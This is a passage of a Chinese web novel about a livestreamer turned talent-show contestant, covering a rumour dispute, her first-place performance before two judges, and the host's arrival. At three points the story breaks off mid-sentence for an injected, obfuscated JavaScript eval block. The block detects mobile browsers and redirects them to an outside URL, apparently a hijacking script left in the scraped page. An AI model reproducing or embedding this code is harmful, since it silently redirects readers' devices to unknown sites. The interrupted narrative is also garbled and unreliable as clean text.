胡享云还没说话,四周已经响起一片嘲讽的议论,邓舒华更是难忍愤怒,大声叫道:“李颂一,你还要栽赃陷害到什么时候?刚刚的争论是你自己挑起来的,你忘了吗??” 李颂一大窘,剧烈的惊恐和愤怒已经冲昏了头脑,她确实忘记了刚刚是自己非要挑起争端。 但她还是不肯就此认输,咬牙道:“但是刚刚只是沈惊鸿的一家之言,万一,万一是平台方或者节目组给了她压力,逼迫她这么讲的呢?” 嘲讽之声如海浪一般汹涌而来,不少人直接叫嚷起来:“怎么这么胡搅蛮缠!”“她神经病吧,建议直接取消她的参赛资格!我不想和这样的人一起比赛!”“就是,能不能轰出去!” 邓舒华更是尖锐地叫道:“李颂一你疯了吧,竟然敢质疑平台方和节目组?” 屋内议论声如雨点一般乱砸,越来越多的人加入声讨之战,一片嘘声中,李颂一梗着脖子紧紧盯着胡享云,仿佛一只困兽在做最后的殊死一搏。 刚刚林见微和胡享云的对话还言犹在耳: 如果有人恶意传播不实传闻,故意给《星璨》选定的选手抹黑,按照节目规定该接受什么处罚? 如果故意散播子虚乌有的传闻,造成重大恶劣影响的,按规则应当严厉查处,取消相关人员的参赛资格,必要时追究其法律责任。 李颂一心里猛打了个寒战。 难不成今天真的会偷鸡不成蚀把米,作茧自缚,把自己送走? 《星璨》也是她过五关斩六将得来的机会,若要止步于此,实在是太难接受了,她回去之后也会彻底沦为公司的笑柄。 胡享云冷冷地看着她,那目光如冻雨,一点一点浇灭她最后希望的火苗。 “李颂一,群众的眼睛是雪亮的,刚刚沈惊鸿是主动打来电话,而且从头至尾她的叙述都非常平静,冷静理智,没有任何被逼迫的痕迹。” “而且,刚刚我已经说了,让大劈叉参加比赛,也是我们平台经过慎重研究决定的,你如果再质疑下去,莫非是觉得我们和选手沆瀣一气,非要合起伙来对抗你一个人?” 李颂一简直无地自容,恨不得找个地缝钻进去,这辈子不再出来。 她本希望胡享云能再拉她一把,做一个各打五十大板的处决,毕竟她的公司家大业大,在业内颇为硬气,而林见微来自一个名不见经传的小直播平台,是一个一百零八线的小主播。 可是没想到胡享云根本不在乎她的后台,就这样公开地为一个不知从哪里冒出来的,连正经唱歌跳舞训练都没接受过的杂牌军野路子选手站台。 她只得灰溜溜地低下头,接受充满无尽嘲讽的目光和嘘声的洗礼。 邓舒华的叫喊更是穿透声幕,刺耳传来:“李颂一你说话啊,怎么突然哑巴了?刚才不是一套一套地挺能说的吗?” 李颂一面色阴沉到极点,一言不发咬紧嘴唇,食指拇指紧拧大腿,希望用生理上的疼痛缓解心理上的受伤。 她向来爱出风头,嫉恶如仇,路见不平一定会平地惊雷一声吼,而且气焰嚣张至极,睚眦必报,所以尽管多次当出头鸟,从来没被枪狠狠打过。 但这一次,她有一种撞到了铁板上的无力感,整个人如断翅的雄鹰,头破血流,委顿惨烈地直直坠下云端,狠狠跌入谷底。 这时,邓舒华阴阳怪气地说:“胡导,刚刚不是说好了吗,故意散播谣言,按规则应当严厉查处,取消相关人员的参赛资格,必要时追究法律责任?” “李颂摆明了是故意传播谣言,恶意排挤参赛选手,论理是不是该取消她的参赛资格啊?” 人群中不少人暗暗点头,心想没错,这事确实是有言在先。 眼看暗暗赞同的人越来越多,邓舒华愈发趾高气昂,而胡享云则神色阴沉,意味深长地看着邓舒华,眉头紧紧皱在一起。 难道真的要在比赛还没开始,因为散播谣言淘汰一个选手? 她不是不暗中忌惮李颂一的后台——乐盛娱乐。 乐盛娱乐也是林见微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670378|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老东家,最近几年不仅筹拍了大IP电影电视剧,还一路高歌杀进唱跳选秀圈,签约了若干练习生,提供歌曲、舞蹈封闭式训练,希望他们在选秀节目大放异彩,成为新一代的流量翘楚。 最近几年,乐盛的势头异常凶猛,在许多领域甚至掌握了绝对的话语权,说一不二,甚至连投资人也要敬他们三分。 现在胡享云若是公事公办,节目还没开始录,就直接把乐盛的人送回家去,知道的明白胡享云是为了公平起见,不知道的还以为胡享云乃至整个《星璨》节目组故意给乐盛使绊子呢。 踌躇之间,只听林见微突然道:“胡导,舒华,不如听我一言。” 全场人都看向林见微,只见她面容沉静,缓缓说道:“李颂一虽然故意挑起了争端,耽误大家不少时间,但她毕竟只是听信了网上那些不实传闻,而不是传闻的始作俑者。” “她质疑节目的公平性,质疑我的参赛资格,在录制开始之前以激进的方式提了出来,虽然有些莽撞没脑子,但出发点也是为了节目好。” “再加上这是第一次出现这样的事,所以,要不我们就从轻处理?最重要的是我们大家要引以为戒,在今后的比赛中精诚团结,不要搞小动作小团体。” 她这么一说,底下立刻一片哗然。 有人觉得林见微顾全大局,心胸开阔,不愿意和小人一般见识,有人则觉得她虚伪,都被别人欺负到头上了,还要故意放过对手,争得一个宽仁的名声。 四周投来复杂目光,夹杂着困惑、狐疑、不满、惋惜,最后所有的目光都聚焦在胡享云身上。 毕竟她才是掌握着最终生杀大权的人。 胡享云也感受到了压力,轻咳一声,大脑急速思考起来。 室内充满了切切杂杂的小声议论,所以胡享云不得不示意大家安静下来,才缓缓道: “大家的担忧和疑虑,我心里都明白,这件事情之所以发生,究其根本,是因为我们彼此之间并不了解,所以容易人云亦云,听风是雨。” “假设我们朝夕相处,一起生活了一些时日,俗话说路遥知马力,日久见人心,很多谣言都会不攻自破,很多虚伪也会无处遁形。” “我们节目组确实有规定,恶意传播谣言者应当接受严厉处罚,包括道歉、退赛、甚至法律责任。” “但诚如大劈叉刚刚所说,也许李颂一选手的出发点不是恶意的,也许她只是被谣言蒙蔽了双眼,又嫉恶如仇,眼里容不得一点沙子,所以以这种极端的方式讲出来。” “鉴于我们的节目才刚刚开始,大家彼此之间肯定还有很多需要磨合的地方,所以这一次我们就当做一个学习的过程,日久见人心,是金子总会发光,是骡子一定会赶不上马力,大家要认真吸取教训,做艺人之前先做人。” 这一番话实际上是借了林见微的话,给李颂一和胡享云自己一个台阶下,满室之内自然大有不服之人,但慑于胡享云的威信和地位,大家你看看我我看看你,最后敢怒不敢言。 见室内一片沉默,胡享云便当做众人顺从了自己的决定。 再次看向众人,胡享云宣布道:“既然没有异议,那比赛正式开始,比赛的顺序已经发到大家手机上了,请按照序号到场演出。” 紧接着室内一阵手机乱响,大家纷纷低头,紧接着一阵议论声从四下响起。 节目组将演出顺序以短信的形式发送出来,林见微低头看着手机锁屏,用面容解锁看到了短信内容预览。 下一刻她一口气差点没上来。 [尊敬的扬州大劈叉选手,本场比赛您的出场顺序为:1] [请您认真准备比赛,祝顺利!] 再三和周围人比对,林见微确认,在场一百五十名选手,她真的要第一个出场。 57.五十七 林见微紧紧盯着手机屏幕,有那么几秒呼吸都暂停了。 她简直不敢相信,自己的运气怎么会这么差。 第一个出场劣势实在太太太太大了。 没有任何人的表演作为依据,导师们打分肯定特别严苛,而且没有看过其他人的演出,她心里也没有任何准绳,完全无法预估需要演到什么程度。 她没参加过选秀节目,本来还希冀着能现场根据其他演员的表演,以及导师的评语和反馈对自己的表演进行调整。 可是没想到她竟然是小白鼠。 来之前她还恶补过许多选秀节目,发现第一个上场的基本都是炮灰,做分母凑数的,根本活不过一轮,而且最后剪辑出来也就短短一分钟。 苍天啊,林见微简直想原地晕倒。 表演顺序是节目组定的,她心里明白,这是铁定要把她当炮灰了。 身边的小姐姐基本都是50名以后出场的,她一路小跑跨过人群,找到角落里的林波微步,扒着看了他的手机。 他是第21个出场。 林波微步不知所措地望着她的满脸惊恐,说话都变结巴了:“怎,怎么了?” 林见微哀嚎一声,还没等她回答,身边的选手突然齐齐指向前面,口中还振振有词:“看,快看!” 林见微回头,发现场子中央不知何时降下来一块大白布,演出顺序已经投在上面了。 一百五十名演员分为三列,最左边一列的最上面,赫然是她的名字。 紧跟着的是几个没听说过的名字,二十一名写着林波微步,邓舒华和李颂一一前一后出现在中间那列,钱雯则在最右一列。 这排兵布阵,一眼就能看出节目组的爱憎啊。 正感慨间,几人突然围了过来,为首的是一个扎着利落高马尾的女孩,目测身高至少170,身形苗条,眉眼间带着一股英气。 她一看就是豪爽率真之人,朝林见微伸出手,露出鼓励的笑容:“一会儿的演出加油啊!我是杜之江,新锐娱乐的,大家都管我叫杜杜。” 林见微连忙跟她握了手,刚说了个谢谢,后面跟着的一个眉眼清透的男生冒了出来,也握住她的手: “演出加油!谢谢你给我们开场,压力不要太大,平常心就好!我叫白濯,来自曜石传媒。” 白濯一开口,林见微才反应过来,眼前这个眉清目秀,剑眉星目的男生,其实是个酷到让人尖叫的女生。 见她惊得下巴都要掉下来的样子,白濯哈哈大笑,露出洁白牙齿:“我是女孩子!你刚刚的表现简直帅呆了,我最看不惯李颂一那又跋扈又草包的样子,她是出了名的又坏又蠢!谢谢你帮我们收拾她!” 杜之江也附和:“没错,你刚才太勇了,是我们的嘴替,偶像,我表示从今以后我杜杜无条件无脑支持你!” 这时后面又冒出一个男生——这次林见微很仔细地观察了,确认他是男性无疑,毕竟那180+的身高还有凸出的喉结骗不了人。 那男生也主动和林见微握了手:“你好,我是曜石传媒的唐筱年,是濯哥的好哥们儿,很高兴认识你!” 林见微抬起眼,发现这个男生真是天生的上镜脸:小骨架,五官立体突出,尤其是那双潋滟桃花眼,自带无限深情。 他这张脸实在是太适合演偶像剧了,光站在那里不动,就足以让人脑补出一整部剧集。 林见微之前合作过的帅气男演员可不少,但不得不说,唐筱年的颜真的太好磕了,而且最难得的是他非常有可塑性—— 那蕴着风波的桃花眼可以立深情人设,如果稍微把眉眼画得锋锐一些,又可以摇身一变,化身为古偶里单刀立马一剑封喉的少年将军。 而且如果没看错的话,这张脸还是原装的。 天生丽质,啧啧! 也许是她凝视得太久了,唐筱年竟有些羞涩地低下头,不敢再和她目光相接。 这时头顶的大喇叭里突然大声响起:“请演出顺序1-20的选手立刻去化妆间准备。” 林见微明白,这是要化妆老师检查一下妆容,没大问题就直接去后台候场了。 按照正常流程应该先集中化妆,然后录制大家在候场间的日常,最后让大家挨个竞演,并拍摄候场间里大家的反应。 但许多选手都是大公司选送的,来之前已经根据安排好的人设精心化好妆,像林见微这种野生选手只能自己撸妆,所以需要让化妆老师看一看,必要的话调整一番。 也许是大喇叭的声音太过震耳,林见微心跳砰砰加快,杜之江立刻给她按了按肩膀,白濯和唐筱年不停地加油鼓劲,一旁的其他选手也纷纷起立致敬。 一路掌声不绝于耳,众星捧月地欢送她离开候场室。 其他十九名选手也算沾了她的光,吐了吐舌头笑道:“还没见过这么大阵仗欢送我们去比赛呢!” 化妆间里,一个面目慈祥,笑容可掬的中年女人已经站在那里等他们好久,见众人进来,连忙招呼:“按照出场顺序依次排列!” 林见微自然排在头位,化妆老师走到她面前不足十公分的距离,近距离无死角地环视她一周。 由于距离太近,林见微心跳再次加速,她是早上出门前自己匆忙化的妆,由于下大雨赶时间,也没来得及仔细检查粉底是否服帖,一路奔波后有没有脱妆。 她成名后一直有剧组的化妆师给她服务,但籍籍无名时少不了自己赶妆,所以她的化妆技术还行,但和专业的相比,那就差之千里了…… 胡思乱想着,化妆老师的声音温柔坠入耳朵:“嗯,可以,能用,快去候场吧。” 林见微大松了一口气,道了谢后一路小跑,按照指示来到候场区。 这里一片漆黑,有个场控小姐姐拿着一张A4纸指挥秩序,见林见微过来,核对了名字后说:“时间紧,马上就要上场了,待会儿你从这里过去,演完后导师评定,之后从对面下去就行。” 林见微点点头,又深呼吸几次,眼前的舞台灯光还没全开,一片深蓝,透着神秘诡谲,是一片全然未知的领域。 按理说正式演出前应该彩排走台,但不知道为什么,没有人通知她过来走流程,所以她也只得服从安排。 舞台灯光大开,亮眼的橘红黄灯光依次闪过,各个位置的灯光也渐次亮起落下,既而话筒中又传出几声试音声,而后场子两边喷洒出干冰。 一切都快速调试完成,不知什么人在舞台下喊了一声“导师们已经入场”,场控小姐姐往外面看了一眼,转头看着林见微:“准备好了吗?” 林见微点头给出了肯定的回答,场控小姐姐笑着朝舞台做了个请的手势:“那就上台开始你的表演吧。” 林见微轻声嗯了一下,再次深呼吸几次,迈步朝舞台走去。 舞台灯光已经亮起,刺眼的灯光从头顶直射而下,她凭着感觉走到舞台中央,刚站定底下有个人便不耐烦地朝她大喊:“偏了,再往左一点!” 林见微苦笑,心想你们也没让我走台,现在找不到位置怪我咯? 左边几步之外的地板上有个透明胶带十字交叉的标志,林见微走到那里,底下那人大喊:“OK就站在这里。” 林见微抬起头,只见舞台下还有些人在走来走去,看样子像是灯光、服装、道具老师等,他们神色焦急步履匆匆,两头之间来回跑。 林见微明白,其实节目组还没完全准备好录制,但一天拍摄一百五十人的比赛实在是时间紧任务重,再加上导师们的时间有限,不可能耗太久,所以只能牺牲一些炮灰选手的时间,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675295|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内定晋级的选手们更多资源。 难怪没人通知她来彩排走台,也没人管她服装化妆,其实录制开始之前节目组就计划好了,她肯定是要淘汰的那波,没必要在她身上花费功夫。 四个导师席上只坐了两个人——声乐导师季清云、舞蹈导师蒋方奇——剩下的两个位置还空着,星途导师时穆飞和飞行嘉宾尤有芒还没来。 可是刚刚明明有人说,导师们已经入场了? 林见微苦笑不已,之前怎么没想到呢,就算只有两个导师赶了过来,只要拍下他们的点评镜头足已,不然呢,她一个无名小选手配得上有四个导师轮番点评吗? 季清云和蒋方奇倒是慈眉善目地看着她,季清云抱歉地笑道:“对不起啊,节目组赶时间和进度,一定要现在就开始录制,现在就我们两个在这里陪你。” “其实这样也好,人多了反而容易紧张,你是第一个上场很不容易的,我们肯定会嘴下留情,不会让你太难堪。” 蒋方奇也觉得对不起她:“我们其实想再等一等的,但是其他两位导师的飞机晚点了,可能要再过半个小时才能过来,节目组催我们赶紧开始。” 说着他摊手做了一个无奈的表情:“你先开始演,没关系的,就当一次历练了。” 林见微心道:节目组还挺势利眼的,知道时穆飞和尤有芒咖位大档期满,不敢得罪,而季清云和蒋方奇名气小一些,所以可着他们欺负。 偌大空旷的台子上就她一人,林见微孤孤零零站在那里显得形单影只,这时台下之前喊话那人递过来话筒: “录制开始了,你先做自我介绍,然后给音乐老师一个信号,开始表演就行了。” 林见微连连点头,接过话筒找到机位,微笑着介绍道: “各位观众、评委老师大家好,我是扬州大劈叉,是一名来自香蕉直播的主播。今天我带来的曲目是《武娘》……” 没错,她又选了《武娘》作为表演曲目。 这首时闻帮忙编辑的曲子她听了跟练了无数遍,已经形成肌肉记忆,正适合拿来参加比赛。 然而话音未落,台下那人就扯着破锣嗓子大喊:“等一等,看的机位错了,要看右边那台机器!” 林见微慌忙转头,这时那人又抱怨道:“怎么回事,怎么连这么基本的事都不知道!这样还来什么比赛!?” 林见微心里涌起一股委屈和愤怒,但又不能发作,只得冲着右边的机器露出一个更加灿烂的微笑,把自我介绍原封不动地又说一次。 蒋方奇看不下去,冲那人喊道:“张老师,小姑娘第一个上台,有些紧张,您别吼她。” 张老师露出一个难看笑容,嘴里却继续小声骂骂咧咧:“现在的年轻艺人啊真的是,连最基本的舞台经验都没有,真难调。” 蒋方奇也不想再说什么,张老师这话无异于把他这个年轻艺人也骂了进去,但他咖位不高,不想惹是生非,更不想得罪这些气冲的老油条们。 谁知道他们后面站的是谁,会不会暗地里和狗仔有合作,你要是早上得罪他们,晚上就能莫名被偷拍,然后以一些子虚乌有的事上热搜。 林见微朝蒋方奇投去一个感激和同情的目光,对方又做了一个“我尽力了”的无奈手势。 自我介绍结束,舞台上灯光全灭,《武娘》那熟悉的伴奏从头顶响起,熟悉的戏腔和低沉的鼓点从黑暗中传来,整个舞台都微微颤动。 接下来灯光应该全数炸开,林见微将以一个背影惊艳亮相。 然而这时好像出了问题,《武娘》的伴奏继续播放下去,雄浑的鼓点下整个舞台震得发颤,但灯光却一直全熄,台子上一片黑暗。 台下一片小声议论,那破锣嗓子高喊起来:“等一等,演出暂停,灯光出了问题!” 58.五十八 林见微站着一片黑暗中,从未觉得如此茫然无措。 节目组明显什么也没准备好,设备灯光调试都没做到位,却催着赶着让她上场。 这也太不在乎她的演出了。 她本来没想着要一鸣惊人,只希望能尽全力,给导师们留下一个好印象,让圈子里知道有她这么一个人。 她已经做好了一轮游的准备,可是没想到节目组竟这么公然地差别对待,高高在上地看着她成为炮灰。 愤怒和伤心一起涌上心头,舞台上依然一片黑暗,台下几人吆喝着匆匆走来走去,两个导师低头窃窃私语什么,林见微定定看着前面,仿佛置身于一个偌大幽深的黑暗森林。 垂在身侧的手紧攥裙角,内心一个坚定有力的声音近乎嘶吼地爆发出来: 不能再这样了。 你们不能这样对我。 我要让你们后悔。 舞台灯光骤然大亮,骤暗骤明让人一瞬间睁不开眼睛,适应的过程中只听台下那破锣嗓子喊道: “灯光出了点问题,要不你先演一遍?” 然后不待林见微回答,冲着对讲机大喊:“各机位摄像准备,争取一遍过!” 林见微心又凉了半截:怎么,他们还打算舍弃灯光,直接开录?? 灯光的明灭和颜色变换对她的表演可是起到了中流砥柱的作用,她不能没有灯光。 “老师,我……我们能不能等灯光调好再开始表演?”林见微试图为自己争取。 “没时间了!”破锣嗓暴躁地咆哮,“你也调灯光,他也调灯光,还要不要进度了??” 林见微:“可是……” 破锣嗓不耐烦地朝幕后一指:“你能演就演,不能演的话后面还有好多人等着呢!” 林见微回头,只见刚刚和她一起进化妆间的选手们此刻正怯生生地缩在幕后,无助地交换着目光。 小人物,命如草芥,风里来雨里去,无人在乎。 他们很可能和她一样,咬牙拼尽全力才得到录制《星璨》的机会,本以为这里是梦开始的地方,却被人如此随意地呼来喝去,碾碎梦想。 再次回头时,林见微的眉眼间添上几分毅然和果决,她看着台下,仿佛大战在即前最后一遍逡巡战场。 “好,那我演。”她听见自己说,然后背朝观众站好。 她后背直挺,如深扎地底高耸入云的青松,遗世独立,坚韧挺拔。 破锣嗓给楼上音乐老师一个手势,《武娘》的伴奏从头顶笼然而下。 柔和温婉的小旦戏剧唱腔一词一句细腻婉转,低回缠绵,林见微也随之舞动腰肢,她和沈惊鸿突击学了一周的民族舞,此刻将丰韵化在其间,大有弱柳扶风,金闺花柳之质。 她眉眼低垂,顾盼生怜,一瞬间将人代入那空守闺阁的落寞心境,舞台下季清云和蒋方奇一下子睁大了眼,他们完全没料到林见微的舞姿竟然如此惟妙惟肖,饱有感染力。 表演如文章,流芳百世的世界名著的开头总能以短短几句就让人回味无穷,高质感的表演也是如此,起手几式就能看出功力深浅,格局宽窄。 林见微只刚舞了几下,但季清云和蒋方奇立刻暗暗称奇:这舞姿、这编曲、这设计,绝非等闲之辈可以做到。 二人聚精会神地盯着舞台,生怕错过什么,这时戏腔乍停,金戈铁马声隐隐响起,低沉的鼓点一下一下叩击心弦,大有渔阳鼙鼓动地而来的气势。 林见微收步,重新背对着观众席挺立于舞台中央,只见她双肩向后微张,全身肌肉紧绷,阴柔之感尽散,阳刚之气笼罩全身,仿佛变脸一样,在一瞬间切入了一个迥然不同的状态。 现在的她英姿勃发,身姿挺拔,让人想起大战一触即发时,身披甲胄的少年将军傲然立于军前,旌旗在北风中猎猎作响,全军出击的号角即将吹响。 他视死如归地提起长剑,整装待发的军马立刻杀气腾腾地誓师,要将敌军斩得片甲不留。 季清云和蒋方奇完全被吸引住了目光,他们本来没有对第一个出场的选手抱有什么希望,但没想到一上来就如此惊喜。 他们不知道的是,林见微本职工作就是演员,非常善于用寥寥几个动作塑造人物,此时她只是将这技能化用到了舞蹈表演上,效果异常出彩。 鼓点渐强,渐成气吞山河之势,凄惶高亢的二胡声异军突起,仿佛蛰伏于地的雄鹰突然一跃而起,振翅搏击长空,林见微随着音律舞动起来,举手投足阳刚之至,英姿飒爽。 二胡声戛然而止,rap唱词横空接入,林见微转过身,话筒举在嘴边,低沉喑哑的rap流泻而出。 季清云和蒋方奇张大嘴巴,不可思议地看着她,季清云甚至发出一声惊叫。 刚刚他们和林见微对话了一番,知道她的音色颇为柔美清甜,但是此时此刻唱出rap林见微好像变了一个人似的,发出的声音喑哑低沉,磁性有力,甚至透着一种狂野。 她的表情也变得乖张张扬,锐利的眉眼下目光锋芒毕露。 蒋方奇回头看了看摄像机,想确认这一切都被镜头捕捉到了,如此绝的表演如果没录上,实在是太可惜。 几段rap过后,鼓点声从四下雄劲而起,地板随之震颤,林见微放下话筒,大开大合跳起了街舞。 《武娘》的节奏很快,舞蹈动作复杂多变,但林见微跳得有条不紊,每一个动作都标准有力,连接得行云流水。 一段舞蹈后音乐渐渐低沉,仿佛黑色硝烟遮云蔽日,前线战事陷入胶着,战士们已经血满衣袍,可是全力拼杀之下敌人却越战越勇,两方都是杀红了眼的人,局势僵持不下。 此时应该有几秒钟的灯光全熄然后再骤然亮起,以显示战事初现转机,林见微会在灯光熄灭后蹲下去,然后在灯光亮起时接几个炸裂的地板动作,将演出推向高|潮。 但此时舞台灯光大开,林见微干脆站在原地默默等待,她的目光如草原雄鹰一般锁定台下,眉眼间尽是杀伐果断的冷厉和果决。 几秒钟后,她突然蹲下,甩出几个高难度的地板动作,看得季清云和蒋方奇赞叹连连,最后竟站起来鼓掌叫好。 鼓点隐去,横空而过的黑色硝烟和空气里弥漫的血腥味都尽数褪去,温婉的小旦戏腔再次出现,场面瞬间切换,将人带到江南早春三月里那杨柳依依微凉侵衫的小楼。 蒋方奇一开始还没反应过来,直到季清云激动地拉着他衣袖,在他耳边高喊:“是唱出来的!不是伴奏!” 蒋方奇才如梦方醒—— 林见微不知何时又拿起话筒,那小旦的戏腔,竟然是她一字一句唱出来的! 蒋方奇大为称奇,简直不敢相信内娱还藏着这样的人才,他激动地双手抱头,大声叫了一声好,而后拼力鼓掌,直到手掌又麻又红。 季清云则是不停地摇头赞叹,目光里满是钦佩和欣赏。 摄人心魄的演出步入尾声,林见微再次化身独守空房少|妇,一颦一步都透着的悔教夫婿觅封侯的凄凉。 音乐停止后,导师们还没从刚刚的震撼中回过神来,几秒钟过去了二人才重新爆发出掌声。 “太,太赞了。”季清云激动到有点语无伦次。 “不敢相信,不敢相信。”蒋方奇连连赞叹。 表演的感染性太过强烈,就连那些候场的选手们也看呆了,从幕后发出一阵阵欢呼掌声,楼下的摄影师和楼上的音响师们也加入到队伍之中,整个录制厅内掌声如雷。 鼓掌叫好声势浩大,很难相信此时此刻录制厅内并没有太多人,更难相信的是第一个参演的选手就获得如此好评。 季清云甚至激动地跟蒋方奇说:“第一个就这么炸场,下面的肯定更让人期待。” 季清云是典型的不世故,两耳不闻窗外事,只醉心于音律声的人,而蒋方奇是从娱乐圈底层摸爬滚出来的,所以他意味深长地说:“那可不一定,期望别拉得太高。” 整个场子里面色最阴沉的当属管控灯光音响的破锣嗓了,他象征性地鼓了两下掌,然后黑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682882|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸不知拨通了谁的电话,默然快步走了出去。 林见微对着台下和后台各深鞠一躬,掌声还在继续,林见微有些受宠若惊:“谢谢,谢谢大家的鼓励和支持!” 掌声渐渐止息后,季清云抢先评价道:“是一段很精彩的表演,设计得非常巧妙完整,短短的几分钟,音乐旋律变化万千,内容首尾呼应,你完成得也非常有创意,是我近几年看到过的最好的表演片段。” 林见微完全没想到会得到季清云如此高的评价,想当年她可是因为五音不全,各种找季清云培训,又各种被嫌弃。 季清云甚至放话说她这辈子都不可能做一个合格的歌手。 啧啧,果然是,穿上马甲你就不认识我了。 林见微鞠躬致谢:“谢谢季老师如此高的评价,我会继续努力,您二位要不先坐下?” 季清云这才意识到刚刚二人站起鼓掌后就忘了坐下,不好意思地笑了起来,蒋方奇趁势拉着他一起坐了回去。 落座后蒋方奇也不吝好评:“就一个字,真的是太赞了!!季老师在是咱们的声乐老师,刚刚说这是他近几年看到过的最精彩的表演,我主管舞蹈,所以我就从我的专业的角度来说一下——” “那就是,我完全同意季老师的看法!您的表演真称得上精妙绝伦,细腻入微,不仅舞蹈动作完成得利落出彩,而且最难得的是竟然在短短几分钟内,用音乐、舞蹈、唱腔生动准确地塑造了两个截然不同的角色,这实在是太难了,我佩服得五体投地。” 说着蒋方奇双手举过头顶,做了个趴下的姿势,林见微慌忙回了一个鞠躬:“谢谢,不敢当,言重了。” 其实如果林见微是后面出场的,反而不见得能得到如此高的评价,但因为是第一个出场的官配炮灰角色,反差之下给了太多惊喜。 又因为一开始节目组明显没把林见微放在心上,竟敢在导师没来全,灯光音响都没调试好的情况下直接让她上场,这无疑是铁定要将她献祭出去,丝毫不在乎她过去的努力和前途。 季请云最讨厌人情世故,一言一行皆出于本心,刚刚看着节目组对林见微的冷淡态度,他本就心存不满,再加上林见微的表演确实新颖炸裂,所以他惊喜之下给出了超高评价。 蒋方奇是从底层爬起来的,经受过无数冷眼,坐过无数次冷板凳,对林见微刚刚的境遇十分感同身受,早就默默决定要暗拉她一把,无论她演成什么样,都极尽鼓励和帮助。 没想到一下子抽到了爆炸隐藏款,一下子就把场子炸开了。 季清云:“我现在开始为没有亲眼看到这场比赛的人感到惋惜。太遗憾了。我要是他们,得抱憾终身。” 蒋方奇知道他在讽刺姗姗来迟的评委和工作人员,连忙找补道:“都录下来了,节目发布时,全世界都能看到!” 接下来遇到一个尴尬问题,四位评委只来了两位,怎么打分呢? 蒋方奇和季清云遂伸头四下张望,录制开始得太早,节目编导还没就位,就在二人要扯嗓子大喊工作人员时,刚刚那个出去打电话的破锣嗓推门走了进来。 迎着二人带刺的目光,破锣嗓赔笑地说:“刚刚和陈编导打电话,他马上就来。周哥也刚过来,在后面——” 说着他手指一指幕后候场区,林见微、季清云、蒋方奇纷纷朝那里看去。 只见一个穿着白T恤印花外套,身形颀长的男人笑意盈盈地站在那里,他眉眼如画,嘴角呷着春风醉酒的微笑,整个人如一副明丽的风景画,让人看一眼就难忘至极。 然而那漾着漩涡的眼眸却带着一点漫不经心,还有一丝难以察觉的乖张叛逆。 这张脸很熟悉,但林见微花了好几秒钟才确认他是谁。 褪去了烟熏妆,脱掉黑色皮衣和金属坠饰,一个似曾相识却又陌生之至的故人站在那里,凝眸而笑。 周落大步走了过来,抱歉地对林见微、季清云、蒋方奇说:“对不起我来晚了,自我介绍一下,我是周落,是《星璨》的主持人。” 59.五十九 有那么一瞬间,林见微的心脏漏跳了一拍。 来之前她完全没听说,周落是《星璨》的主持人。 抑或说她没关注过,毕竟全身心投入到紧张的练舞和备赛之中,分不出功夫浏览节目八卦。 如果她知道,她…… 林见微脑子有点乱,以至于当周落走到她身边时,她才反应过来,然后下意识地往后撤了半步。 陌生而熟悉的古龙香水味还是袭面而来,周落微微蹙眉,半是玩味半是讶异地看着林见微。 “扬州大劈叉,刚刚的表演我没有错过,所以不会抱憾终身。”周落笑着说,洁白的牙齿在灯光下显得格外剔透。 “导播给我发的通告是中午十二点,我其实还来早了一会儿,没想到录制已经开始了,对不起,我不是故意要错过的。” 周落说的是《星璨》节目,但最后那句话却如飞镖一样嗖地划过,稳准狠扎进林见微心窝。 对不起,我不是故意要错过的。 这是《月淡花浓》的一句经典台词,当沈黎和叶疏跨过染血山河,披着满身风霜重逢时,叶疏如是说道。 也是拍摄《月淡花浓》之后,周落和林见微最后一次见面,周落对她说的。 看来这么多年,《月淡花浓》在他身上打下的印记还是没有消退,所以才会不经意间随口把台词说出来。 在林见微心里打下的烙印也没有消退,不然她不会因为这短短一句话,猛然抬头,然后正好撞进周落那风光潋滟的桃花眼里。 他的眼睛看似一湖明艳春水,但仔细看进去,能看到深处隐隐蕴着漩涡。 周落笑问:“怎么了?” 林见微这才意识到她一直没有说话回应,瞬间大窘,脸颊也飞起一片红晕。 “对不起,我,我……刚刚没认出你。”情急之下她有些语无伦次。 周落被她的话逗笑了,他现在是当红流量,走到哪儿都会引起海啸一般的尖叫,现在这个名不见经传的小选手竟然说认不出他? 突然他反应过来,在自己脸上画了一个圈,解释道:“今天没怎么化妆,因为要拍新戏,为了贴合戏里的人物形象。” 林见微“哦”了一声。 周落转头看向季清云和蒋方奇:“陈编导马上就来了,我刚刚在后台看见他了。” “好,” 蒋方奇笑着说,“周哥你可得补偿我们,都怪你上班迟到,没人为我们做主,导致节目提前开始,而且现在根本没法评分。” 